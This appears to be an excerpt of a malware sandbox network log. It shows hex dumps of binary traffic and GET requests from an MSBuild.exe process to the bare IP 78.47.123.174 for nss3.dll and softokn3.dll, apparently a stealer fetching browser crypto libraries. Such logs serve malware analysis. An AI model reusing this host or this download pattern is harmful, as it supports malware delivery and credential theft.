00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 c8 8b 00 10 00 Data Ascii: {\|L@DX}0}}M@4}0}}4M@tXM}0}}XM@
2024-05-24 08:27:23 UTC	16384	IN	Data Raw: c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 fc dd e2 df e0 dd da f6 c4 44 7b 49 d9 c2 d8 c1 Data Ascii: E]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]ED{I
2024-05-24 08:27:23 UTC	16384	IN	Data Raw: f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b 83 c0 02 83 6d d4 01 75 ec 8b c2 85 c0 74 26 3b Data Ascii: f;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90utmut&;
2024-05-24 08:27:23 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc 53 57 8b f9 83 7f 4c 00 75 04 33 db eb 24 56 e8 Data Ascii: UjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jjSWLu3$V
2024-05-24 08:27:23 UTC	16384	IN	Data Raw: 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 51 e8 20 94 ff ff 83 7d fc 10 59 0f be 4d 14 89 Data Ascii: r@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WENQ }YM
2024-05-24 08:27:23 UTC	16384	IN	Data Raw: 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 73 03 02 00 03 c3 89 04 f7 83 d2 00 8b da 89 5c Data Ascii: MS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4s\
2024-05-24 08:27:23 UTC	16384	IN	Data Raw: 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c 69 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 Data Ascii: uF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|iqY(R
2024-05-24 08:27:23 UTC	16384	IN	Data Raw: 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 ee 01 74 11 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 Data Ascii: u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tWt}ErE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49759	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:24 UTC	170	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 08:27:24 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:24 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-1f3950" Accept-Ranges: bytes
2024-05-24 08:27:24 UTC	16136	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-05-24 08:27:24 UTC	16384	IN	Data Raw: 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a e9 51 fe ff ff c7 41 14 0b 00 00 00 8b 51 18 Data Ascii: i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MAQAQ
2024-05-24 08:27:24 UTC	16384	IN	Data Raw: 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 08 8b 80 a0 00 00 00 83 e0 0c 83 f8 08 0f 85 Data Ascii: ti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-05-24 08:27:24 UTC	16384	IN	Data Raw: 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 8b 0d 48 11 1e 10 89 ca 09 c2 0f 84 b1 fe ff Data Ascii: w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SLH
2024-05-24 08:27:25 UTC	16384	IN	Data Raw: 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd 1b 10 68 78 fc 1b 10 6a 0e e8 0a 8f 02 00 83 Data Ascii: $pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hhhxj
2024-05-24 08:27:25 UTC	16384	IN	Data Raw: 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 b2 00 00 8b 45 08 ff 70 1c 68 20 85 1c 10 eb Data Ascii: o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$hEph
2024-05-24 08:27:25 UTC	16384	IN	Data Raw: 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b 5c 24 18 89 d8 83 c0 04 68 fc 01 00 00 6a 00 Data Ascii: h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$\$hj
2024-05-24 08:27:25 UTC	16384	IN	Data Raw: 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d ff ff ff 8b 10 8b 4d e8 83 c4 10 5e 5f 5b 5d Data Ascii: HukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-MmM^_[]
2024-05-24 08:27:25 UTC	16384	IN	Data Raw: f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff 01 74 09 85 ff 75 0a e9 69 03 00 00 c6 44 02 Data Ascii: WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$RttuiD
2024-05-24 08:27:25 UTC	16384	IN	Data Raw: c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 00 00 00 00 e9 36 f8 ff ff 8b 40 14 e9 d1 e9 Data Ascii: D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$6@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49760	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:27 UTC	174	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 08:27:27 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:27 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-3ef50" Accept-Ranges: bytes
2024-05-24 08:27:27 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-05-24 08:27:27 UTC	16384	IN	Data Raw: ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 f0 81 c4 08 01 00 00 5e 5f 5b 5d c3 8b 5d 0c c7 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(^_[]]
2024-05-24 08:27:27 UTC	16384	IN	Data Raw: ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 bf 4d 02 00 83 c4 04 a3 38 9a 03 10 ff 75 0c e8 Data Ascii: kWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGPM8u
